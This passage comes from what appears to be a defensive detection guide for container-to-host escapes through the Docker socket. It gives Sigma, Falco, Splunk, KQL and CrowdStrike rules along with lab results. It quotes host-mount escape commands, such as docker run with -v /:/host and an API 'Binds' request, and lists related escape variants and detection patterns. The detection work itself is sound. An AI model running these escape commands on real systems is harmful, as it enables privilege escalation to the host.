      - ' -a /'
      - 'UNIX-CONNECT:'
      - 'http+unix://'
  runtime_socket:
    CommandLine|contains:
      - 'docker.sock'
      - 'containerd.sock'
      - 'crio.sock'
      - 'podman.sock'
  read_only:
    CommandLine|contains:
      - ' ps'
      - '/containers/json'
      - '/version'
      - '/_ping'
  condition: socket_client and runtime_socket and not read_only
falsepositives:
  - Container dashboards, log shippers and update tools that manage Docker on purpose
level: high
tags:
  - attack.privilege_escalation
  - attack.t1611
  - attack.discovery
  - attack.t1613
Falco · runtime rule (not yet tested in our lab)
- rule: Container Process Contacts Container Runtime Socket
  desc: A process inside a container connects to the Docker, containerd, CRI-O or Podman socket.
  condition: >
    evt.type = connect and evt.dir = < and container
    and fd.typechar = u
    and (fd.name endswith "docker.sock" or fd.name endswith "containerd.sock"
         or fd.name endswith "crio.sock" or fd.name endswith "podman.sock")
  output: >
    Container process connected to a container runtime socket
    (command=%proc.cmdline socket=%fd.name container=%container.name image=%container.image.repository user=%user.name)
  priority: WARNING
  tags: [container, mitre_privilege_escalation, T1611]

The Falco rule watches the connection itself, so it also sees clients that never name the socket. Containers that are allowed to use Docker, like a monitoring dashboard, need an exception for their image.

Defender's corner

Better than detecting it: preventing it. If a container truly needs Docker access, do not hand it the raw socket. Put a restricted proxy in front that only allows read-only calls, and run the container as a non-root user. In our lab, a non-root sidecar could not use the socket at all.

4A container started with access to the hostCatches the escape itself: a new container with the host's disk.

In short: both attack routes in this case did the same thing. They asked Docker to start a new container with access to the host, here the host’s whole disk. This detection catches that request when it shows up in a command line, in the common forms listed below. It cannot see containers started from files, scripts or orchestrators; more on that below.

MITRE ATT&CKData you needSeverityLab test
T1611 Escape to HostProcess start events with the command line (Sysmon, EDR or auditd)HighAll 6 attack events caught; also flagged 5 risky setups that were already there, as intended; 0 false positives after tuning

What happened in this case

Two different tools, one request:

Route A: the docker command
docker run --rm -v /:/host alpine:3.22 ...
Route B: curl and the Docker API
"HostConfig":{"Binds":["/:/host"]}

The wider picture

An attacker does not have to repeat our exact command. Common variations of the same escape:

VariationWhat it looks like
The host’s disk, other syntax--volume=/:, --mount type=bind,source=/
A sensitive host folder instead of /-v /etc:, -v /root:, -v /proc:, -v /dev:
Docker’s socket handed on-v /var/run/docker.sock:
A container with extra powers--privileged, --cap-add=SYS_ADMIN, --device=/dev/...
Sharing the host’s processes--pid=host
The same through the API"Binds":["/..., "Source":"/", "Privileged":true, "PidMode":"host"
Other container toolspodman, nerdctl, ctr with the same flags

How to spot it

A normal container gets its own small space. These settings break that rule and hand it a piece of the host:

  • The host’s disk or a sensitive host folder mounted inside: /, /etc, /root, /proc, /dev
  • Docker’s own socket handed on: -v /var/run/docker.sock:
  • Extra powers: --privileged, --cap-add=SYS_ADMIN, --device=/dev/...
  • The host’s process list: --pid=host

The same settings appear in API requests ("Binds", "Privileged":true, "PidMode":"host") and in other container tools such as podman and nerdctl.

Key takeaways

A match is a signal to investigate, not proof of an escape. Some legitimate tools use these settings on purpose (see tuning below).

A related signal, a process talking to Docker’s socket, is detection 3, because it means something different. Like the other command-line searches, these read process command lines from the whole host, so they cover the host and its containers alike. They do not check where a process ran; the parent chain does (in our lab, a container’s processes ran under containerd-shim-runc-v2).

The searches

Each search comes in three levels. Start with the one that fits you:

LevelGoalWhat to expect
1Case-specific matchNarrow, almost no noise
2Catch related patternsWider, some legitimate matches
3Operational viewGrouped, with noise reduction: a starting point to tune for your environment

The Splunk versions are the ones we tested in our lab. Change the index name to yours. Every version only looks at container tools (docker, podman, nerdctl, ctr, curl): our first test showed why, in the results below. The KQL and CrowdStrike versions in the fold-out boxes use the same logic, but they are examples: we have not run them against live data.

Level 1: case-specific match

Only the host’s whole disk mounted into a container, exactly what both routes did.

Splunk · level 1
index=<your_index> (CommandLine="*docker*" OR CommandLine="*podman*" OR CommandLine="*nerdctl*"
   OR CommandLine="*ctr *" OR CommandLine="*/containers/create*")
| regex CommandLine="(?i)((-v|--volume)[=\s]+/:|(source|src)=/(,|\s|$)|\"Binds\":\[\"/:)"
| where match(Image, "(?i)/(docker|podman|nerdctl|ctr|curl)$")
| table _time host User ParentImage Image CommandLine
Level 1: KQL and CrowdStrike (examples)
KQL · Microsoft Defender XDR
DeviceProcessEvents
| where FileName in~ ("docker", "podman", "nerdctl", "ctr", "curl")
| where ProcessCommandLine matches regex @"(?i)((-v|--volume)[=\s]+/:|(source|src)=/(,|\s|$)|""Binds"":\[""/:)"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine
CrowdStrike Falcon · CQL
#event_simpleName=ProcessRollup2 event_platform=Lin
| CommandLine=/((-v|--volume)[=\s]+\/:|(source|src)=\/(,|\s|$)|"Binds":\["\/:)/i
| ImageFileName=/\/(docker|podman|nerdctl|ctr|curl)$/i
| table([@timestamp, ComputerName, UserName, ParentBaseFileName, ImageFileName, CommandLine])

Adds sensitive host folders, Docker’s socket, privileged mode, extra capabilities, host devices and the host’s process list.

Splunk · level 2
index=<your_index> (CommandLine="*docker*" OR CommandLine="*podman*" OR CommandLine="*nerdctl*"
   OR CommandLine="*ctr *" OR CommandLine="*/containers/create*")
| regex CommandLine="(?i)((-v|--volume)[=\s]+/(etc|root|home|proc|sys|dev|var/run/docker\.sock|run/docker\.sock|run/containerd)?/?:|(source|src)=/(etc|root|home|proc|sys|dev|var/run/docker\.sock|run/docker\.sock|run/containerd)?/?(,|\s|$)|--privileged|--pid[=\s]+host|--cap-add[=\s]+(sys_admin|all)|--device[=\s]+/dev/|\"Binds\":\[\"/(etc|root|home|proc|sys|dev|var/run/docker\.sock|run/docker\.sock|run/containerd)?/?:|\"Source\":\s*\"/(etc|root|home|proc|sys|dev|var/run/docker\.sock|run/docker\.sock|run/containerd)?/?\"|\"Privileged\":\s*true|\"PidMode\":\s*\"host\")"
| where match(Image, "(?i)/(docker|podman|nerdctl|ctr|curl)$")
| table _time host User ParentImage Image CommandLine
Level 2: KQL and CrowdStrike (examples)
KQL · Microsoft Defender XDR
DeviceProcessEvents
| where FileName in~ ("docker", "podman", "nerdctl", "ctr", "curl")
| where ProcessCommandLine matches regex @"(?i)((-v|--volume)[=\s]+/(etc|root|home|proc|sys|dev|var/run/docker\.sock|run/docker\.sock|run/containerd)?/?:|(source|src)=/(etc|root|home|proc|sys|dev|var/run/docker\.sock|run/docker\.sock|run/containerd)?/?(,|\s|$)|--privileged|--pid[=\s]+host|--cap-add[=\s]+(sys_admin|all)|--device[=\s]+/dev/|""Binds"":\[""/(etc|root|home|proc|sys|dev|var/run/docker\.sock|run/docker\.sock|run/containerd)?/?:|""Source"":\s*""/(etc|root|home|proc|sys|dev|var/run/docker\.sock|run/docker\.sock|run/containerd)?/?""|""Privileged"":\s*true|""PidMode"":\s*""host"")"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine
CrowdStrike Falcon · CQL
#event_simpleName=ProcessRollup2 event_platform=Lin
| CommandLine=/((-v|--volume)[=\s]+\/(etc|root|home|proc|sys|dev|var\/run\/docker\.sock|run\/docker\.sock|run\/containerd)?\/?:|(source|src)=\/(etc|root|home|proc|sys|dev|var\/run\/docker\.sock|run\/docker\.sock|run\/containerd)?\/?(,|\s|$)|--privileged|--pid[=\s]+host|--cap-add[=\s]+(sys_admin|all)|--device[=\s]+\/dev\/|"Binds":\["\/(etc|root|home|proc|sys|dev|var\/run\/docker\.sock|run\/docker\.sock|run\/containerd)?\/?:|"Source":\s*"\/(etc|root|home|proc|sys|dev|var\/run\/docker\.sock|run\/docker\.sock|run\/containerd)?\/?"|"Privileged":\s*true|"PidMode":\s*"host")/i
| ImageFileName=/\/(docker|podman|nerdctl|ctr|curl)$/i
| table([@timestamp, ComputerName, UserName, ParentBaseFileName, ImageFileName, CommandLine])

Level 3: operational view

Level 2, minus the usual legitimate noise: the host disk mounted read-only (typical for monitoring agents), hosts and tools you trust, and repeats of the same command.

Splunk · level 3
index=<your_index> (CommandLine="*docker*" OR CommandLine="*podman*" OR CommandLine="*nerdctl*"
   OR CommandLine="*ctr *" OR CommandLine="*/containers/create*")
| regex CommandLine="(?i)((-v|--volume)[=\s]+/(etc|root|home|proc|sys|dev|var/run/docker\.sock|run/docker\.sock|run/containerd)?/?:|(source|src)=/(etc|root|home|proc|sys|dev|var/run/docker\.sock|run/docker\.sock|run/containerd)?/?(,|\s|$)|--privileged|--pid[=\s]+host|--cap-add[=\s]+(sys_admin|all)|--device[=\s]+/dev/|\"Binds\":\[\"/(etc|root|home|proc|sys|dev|var/run/docker\.sock|run/docker\.sock|run/containerd)?/?:|\"Source\":\s*\"/(etc|root|home|proc|sys|dev|var/run/docker\.sock|run/docker\.sock|run/containerd)?/?\"|\"Privileged\":\s*true|\"PidMode\":\s*\"host\")"
| where match(Image, "(?i)/(docker|podman|nerdctl|ctr|curl)$")
| regex CommandLine!="(?i)(-v|--volume)[=\s]+/:[^\s:]+:ro\b"
| search NOT host IN ("build-01", "build-02") NOT CommandLine IN ("*node-exporter*", "*cadvisor*")
| stats count min(_time) as first_seen max(_time) as last_seen values(User) as users by host CommandLine
| sort - last_seen

Replace the example host and tool names with the ones you trust. node-exporter and cadvisor are common monitoring agents that mount host folders on purpose.

Level 3: KQL and CrowdStrike (examples)
KQL · Microsoft Defender XDR
DeviceProcessEvents
| where FileName in~ ("docker", "podman", "nerdctl", "ctr", "curl")
| where ProcessCommandLine matches regex @"(?i)((-v|--volume)[=\s]+/(etc|root|home|proc|sys|dev|var/run/docker\.sock|run/docker\.sock|run/containerd)?/?:|(source|src)=/(etc|root|home|proc|sys|dev|var/run/docker\.sock|run/docker\.sock|run/containerd)?/?(,|\s|$)|--privileged|--pid[=\s]+host|--cap-add[=\s]+(sys_admin|all)|--device[=\s]+/dev/|""Binds"":\[""/(etc|root|home|proc|sys|dev|var/run/docker\.sock|run/docker\.sock|run/containerd)?/?:|""Source"":\s*""/(etc|root|home|proc|sys|dev|var/run/docker\.sock|run/docker\.sock|run/containerd)?/?""|""Privileged"":\s*true|""PidMode"":\s*""host"")"
| where not(ProcessCommandLine matches regex @"(?i)(-v|--volume)[=\s]+/:[^\s:]+:ro\b")
| where DeviceName !in~ ("build-01", "build-02")
| where not(ProcessCommandLine has_any ("node-exporter", "cadvisor"))
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine
CrowdStrike Falcon · CQL
#event_simpleName=ProcessRollup2 event_platform=Lin
| CommandLine=/((-v|--volume)[=\s]+\/(etc|root|home|proc|sys|dev|var\/run\/docker\.sock|run\/docker\.sock|run\/containerd)?\/?:|(source|src)=\/(etc|root|home|proc|sys|dev|var\/run\/docker\.sock|run\/docker\.sock|run\/containerd)?\/?(,|\s|$)|--privileged|--pid[=\s]+host|--cap-add[=\s]+(sys_admin|all)|--device[=\s]+\/dev\/|"Binds":\["\/(etc|root|home|proc|sys|dev|var\/run\/docker\.sock|run\/docker\.sock|run\/containerd)?\/?:|"Source":\s*"\/(etc|root|home|proc|sys|dev|var\/run\/docker\.sock|run\/docker\.sock|run\/containerd)?\/?"|"Privileged":\s*true|"PidMode":\s*"host")/i
| ImageFileName=/\/(docker|podman|nerdctl|ctr|curl)$/i
| CommandLine!=/(-v|--volume)[=\s]+\/:[^\s:]+:ro\b/i
| !in(field="ComputerName", values=["build-01", "build-02"])
| CommandLine!=/node-exporter|cadvisor/i
| table([@timestamp, ComputerName, UserName, ParentBaseFileName, ImageFileName, CommandLine])

What it cannot see

Command lines only show what was typed. Some ways of starting a container never put these settings on a command line:

  • a Compose file (volumes: - /:/host), started with a plain docker compose up
  • a script or SDK (for example Python) talking to the Docker socket
  • an orchestrator such as Kubernetes creating the container

For those, watch the container start itself: a runtime tool such as Falco, a regular settings check of running containers (detection 5), or Kubernetes admission policies.

Did it catch our attack?

We ran the Splunk searches over the whole day of the attack in our lab.

What happenedEventsLevel 1Level 2Level 3
Route A: docker run -v /:/host (three writes and one read-back)4DetectedDetectedDetected
Route B: API create request with "Binds":["/:/host"]2DetectedDetectedDetected
Setup: opsboard and metrics-agent started with Docker’s socket5Not in scopeFlaggedFlagged
Normal use: opsboard’s docker ps on page loads148IgnoredIgnoredIgnored

Route B shows up twice for one request: once as docker exec on the host, and once as the curl inside the metrics-agent container. Both point to the same moment.

Level 2 also flagged the setup: the two containers that were started with Docker’s socket in the morning. That is not the attack, but it is exactly the risky setting that made the attack possible. Finding it before an attacker does is the point.

From my notebook

Our first run of level 2 also flagged one of our own commands: an analyst using grep to search a log file for "Source":"/". The search matched text in any command line. Limiting it to container tools removed that false positive, and the duplicate sudo and bash lines, without losing a single real hit.

The other settings in the list above (privileged mode, extra capabilities, host devices, host process list) were written from the tools’ documentation and were not reproduced in our lab.

Tuning and prevention

Common trap

Expect a few legitimate matches. Monitoring agents often mount host folders read-only (/:/host:ro), and build systems sometimes run --privileged containers on purpose. Review each match once, allowlist the trusted images and hosts, and treat everything else as high priority.

Sigma, Splunk CIM, Sentinel ASIM and Kubernetes versions (not live-tested)
Sigma · portable rule
title: Container Started With Host Access (Sensitive Mount, Privileged or Host Namespace)
status: experimental
description: Detects a container being created with access to the host - the host root or a sensitive host path mounted, the Docker socket mounted, privileged mode, host PID namespace or broad capabilities - via a container CLI or a direct Docker API request.
logsource:
  product: linux
  category: process_creation
detection:
  runtime_cli:
    Image|endswith: ['/docker', '/podman', '/nerdctl', '/ctr']
  sensitive_mount:
    CommandLine|contains:
      - ' -v /:'
      - ' --volume /:'
      - ' --volume=/:'
      - 'source=/,'
      - 'src=/,'
      - ' -v /etc:'
      - ' -v /root:'
      - ' -v /proc:'
      - ' -v /dev:'
      - '/var/run/docker.sock:'
  host_powers:
    CommandLine|contains:
      - '--privileged'
      - '--pid=host'
      - '--pid host'
      - '--cap-add=SYS_ADMIN'
      - '--cap-add SYS_ADMIN'
      - '--cap-add=ALL'
      - '--device=/dev/'
      - '--device /dev/'
  api_request:
    CommandLine|contains:
      - '"Binds":["/:'
      - '"Privileged":true'
      - '"PidMode":"host"'
  condition: (runtime_cli and (sensitive_mount or host_powers)) or api_request
falsepositives:
  - Monitoring agents that mount host paths read-only
  - CI or build systems that use privileged containers on purpose
level: high
tags:
  - attack.privilege_escalation
  - attack.t1611
Splunk · CIM data model
| tstats summariesonly=false count min(_time) as first_seen
  from datamodel=Endpoint.Processes
  where Processes.process_name IN ("docker", "podman", "nerdctl", "ctr", "curl")
  by Processes.dest Processes.user Processes.parent_process_name Processes.process
| `drop_dm_object_name(Processes)`
| regex process="(?i)((-v|--volume)[=\s]+/(etc|root|home|proc|sys|dev|var/run/docker\.sock|run/docker\.sock|run/containerd)?/?:|(source|src)=/(etc|root|home|proc|sys|dev|var/run/docker\.sock|run/docker\.sock|run/containerd)?/?(,|\s|$)|--privileged|--pid[=\s]+host|--cap-add[=\s]+(sys_admin|all)|--device[=\s]+/dev/|\"Binds\":\[\"/(etc|root|home|proc|sys|dev|var/run/docker\.sock|run/docker\.sock|run/containerd)?/?:|\"Source\":\s*\"/(etc|root|home|proc|sys|dev|var/run/docker\.sock|run/docker\.sock|run/containerd)?/?\"|\"Privileged\":\s*true|\"PidMode\":\s*\"host\")"
KQL · Microsoft Sentinel ASIM
imProcessCreate
| where TargetProcessName has_any ("docker", "podman", "nerdctl", "ctr", "curl")
| where TargetProcessCommandLine matches regex @"(?i)((-v|--volume)[=\s]+/(etc|root|home|proc|sys|dev|var/run/docker\.sock|run/docker\.sock|run/containerd)?/?:|(source|src)=/(etc|root|home|proc|sys|dev|var/run/docker\.sock|run/docker\.sock|run/containerd)?/?(,|\s|$)|--privileged|--pid[=\s]+host|--cap-add[=\s]+(sys_admin|all)|--device[=\s]+/dev/|""Binds"":\[""/(etc|root|home|proc|sys|dev|var/run/docker\.sock|run/docker\.sock|run/containerd)?/?:|""Source"":\s*""/(etc|root|home|proc|sys|dev|var/run/docker\.sock|run/docker\.sock|run/containerd)?/?""|""Privileged"":\s*true|""PidMode"":\s*""host"")"
| project TimeGenerated, DvcHostname, ActorUsername, ActingProcessName, TargetProcessName, TargetProcessCommandLine

Kubernetes: the same risk appears as a pod with a hostPath volume (/, /etc, the container runtime socket), privileged: true or hostPID: true. Look for these in the Kubernetes audit log, or block them up front with an admission policy (for example Pod Security Standards at the “restricted” level).

Defender's corner

Better than detecting it: preventing it. Containers that face the network should never get Docker’s socket, privileged mode or host folders. Without those, this whole step is impossible.

5A risky container setupFinds the dangerous setting before anyone uses it.

In short: every step of this case depended on one setting: Docker’s socket mounted inside a container. This detection does not wait for an attack. It checks the settings of running containers and flags the risky ones, so you can fix them first.

MITRE ATT&CKData you needSeverityLab test
T1611 Escape to Host (the setup that enables it)Container settings (docker inspect) collected regularlyMediumRisky containers flagged; route A’s one-second containers missed

What happened in this case

Both opsboard and metrics-agent were started with Docker’s socket mounted. That single setting made every later step possible.

The wider picture

Risky settings that open a path from a container to its host:

SettingWhy it is risky
Docker’s (or another runtime’s) socket mountedanything in the container can give the runtime orders
The host’s disk or sensitive folders mounted/, /etc, /root, /var/lib/docker: direct access to host files
Privileged modethe container gets almost every power the host has
Extra capabilitiesSYS_ADMIN, SYS_PTRACE, NET_ADMIN widen what the container can do
Host namespaces--pid=host, --network=host, --ipc=host: the container sees the host’s processes or network
Security profiles turned off--security-opt seccomp=unconfined or apparmor=unconfined
Running as rootif anything goes wrong, it goes wrong as root
Docker’s API open on the networkport 2375 without TLS: anyone who can reach it controls Docker

How to spot it

In each container’s settings:

  • Docker’s socket (or another runtime’s socket) mounted inside
  • the host’s disk or sensitive host folders mounted
  • privileged mode, the host’s process list (PidMode: host) or extra capabilities (SYS_ADMIN)
  • running as root (no user set)

The searches

Anyone can run this check by hand on a Docker host, no SIEM needed:

Any Docker host · quick check
docker ps -q | xargs docker inspect --format \
  '{{.Name}}  privileged={{.HostConfig.Privileged}}  pid={{.HostConfig.PidMode}}  user={{.Config.User}}  mounts={{range .Mounts}}{{.Source}} {{end}}'

To check it continuously, collect docker inspect output into your SIEM on a schedule (our lab does it every five minutes). Then:

Level 1: case-specific match

Splunk · level 1
index=<your_docker_index> sourcetype=docker:inspect "docker.sock"
| spath path=Name output=container
| spath path=Mounts{}.Source output=mount_source
| search mount_source="*docker.sock"
| stats latest(_time) as last_seen values(mount_source) as mounts by host container
Splunk · level 2
index=<your_docker_index> sourcetype=docker:inspect
| spath path=Name output=container
| spath path=Mounts{}.Source output=mount_source
| spath path=HostConfig.Privileged output=privileged
| spath path=HostConfig.PidMode output=pid_mode
| spath path=HostConfig.CapAdd{} output=cap_add
| spath path=Config.User output=run_as
| eval risky_mount=mvfilter(match(mount_source, "(^/$|^/(etc|root|proc|sys|dev)(/|$)|(docker|containerd|crio|podman)\.sock$)"))
| where isnotnull(risky_mount) OR privileged="true" OR pid_mode="host" OR isnotnull(mvfind(cap_add, "(?i)^(cap_)?(sys_admin|all)$"))
| stats latest(_time) as last_seen values(risky_mount) as risky_mounts values(privileged) as privileged values(pid_mode) as pid_mode values(run_as) as run_as by host container

Level 3: operational view

Level 2, minus containers you have reviewed and accepted (for example a monitoring agent), and raised in priority when the container also runs as root. Root counts in any form Docker accepts: no user set, root, 0, or with a group such as root:root or 0:0.

Splunk · level 3
index=<your_docker_index> sourcetype=docker:inspect
| spath path=Name output=container
| spath path=Mounts{}.Source output=mount_source
| spath path=HostConfig.Privileged output=privileged
| spath path=HostConfig.PidMode output=pid_mode
| spath path=HostConfig.CapAdd{} output=cap_add
| spath path=Config.User output=run_as
| eval risky_mount=mvfilter(match(mount_source, "(^/$|^/(etc|root|proc|sys|dev)(/|$)|(docker|containerd|crio|podman)\.sock$)"))
| where isnotnull(risky_mount) OR privileged="true" OR pid_mode="host" OR isnotnull(mvfind(cap_add, "(?i)^(cap_)?(sys_admin|all)$"))
| stats latest(_time) as last_seen values(risky_mount) as risky_mounts values(privileged) as privileged values(pid_mode) as pid_mode values(run_as) as run_as by host container
| search NOT container IN ("/node-exporter", "/cadvisor")
| eval priority=if(isnull(run_as) OR isnotnull(mvfind(run_as, "^((root|0)(:.*)?)?$")), "high", "medium")
| sort priority - last_seen

Kubernetes: the same check is built in. Enforce Pod Security Standards at the “restricted” level, and the API server refuses pods with host folders, privileged mode or host namespaces.

What it cannot see

A snapshot only sees containers that exist when it runs, and the searches only check the settings they name: mounts, privileged mode, the host’s process list, extra capabilities and the user. Other risky settings from the table above, such as --network=host, disabled security profiles or Docker’s API open on the network, need their own checks.

Timing matters too. In our case, route A’s escape containers lived for less than a second and never appeared in a snapshot. Route B’s container did: it waited about 15 minutes between “create” and “start”, and two snapshots caught it with the host’s disk attached.

Did it catch our attack?

We ran levels 2 and 3 over the container snapshots in our lab Splunk for the whole day. Level 1 (the socket only) is part of level 2, so it was not run on its own.

ContainerWhat the snapshots showedLevel 2Level 3 priority
opsboardDocker’s socket mounted, no user set (so root)FlaggedHigh
metrics-agentDocker’s socket mounted; first as a normal user, later recreated as root (0:0)FlaggedHigh
Route B’s waiting containerthe host’s disk (/) mounted, no user set, seen in two snapshotsFlaggedHigh
Route A’s one-second containersnever in a snapshotMissedMissed

Level 3 rates a container high if it ran as root in any snapshot that day. That is why metrics-agent is high even though it started as a normal user.

No other container was flagged. Route A is the reason this check needs the other detections next to it.

Tuning and prevention

Common trap

Some containers need these settings. Monitoring agents mount host folders read-only, and some security tools run privileged. Review each one once, write down why it is allowed, and alert on anything new.

Defender's corner

Better than detecting it: fixing it. Run this check, then remove the socket from every container that does not truly need it. In this case, that single change breaks the whole attack chain.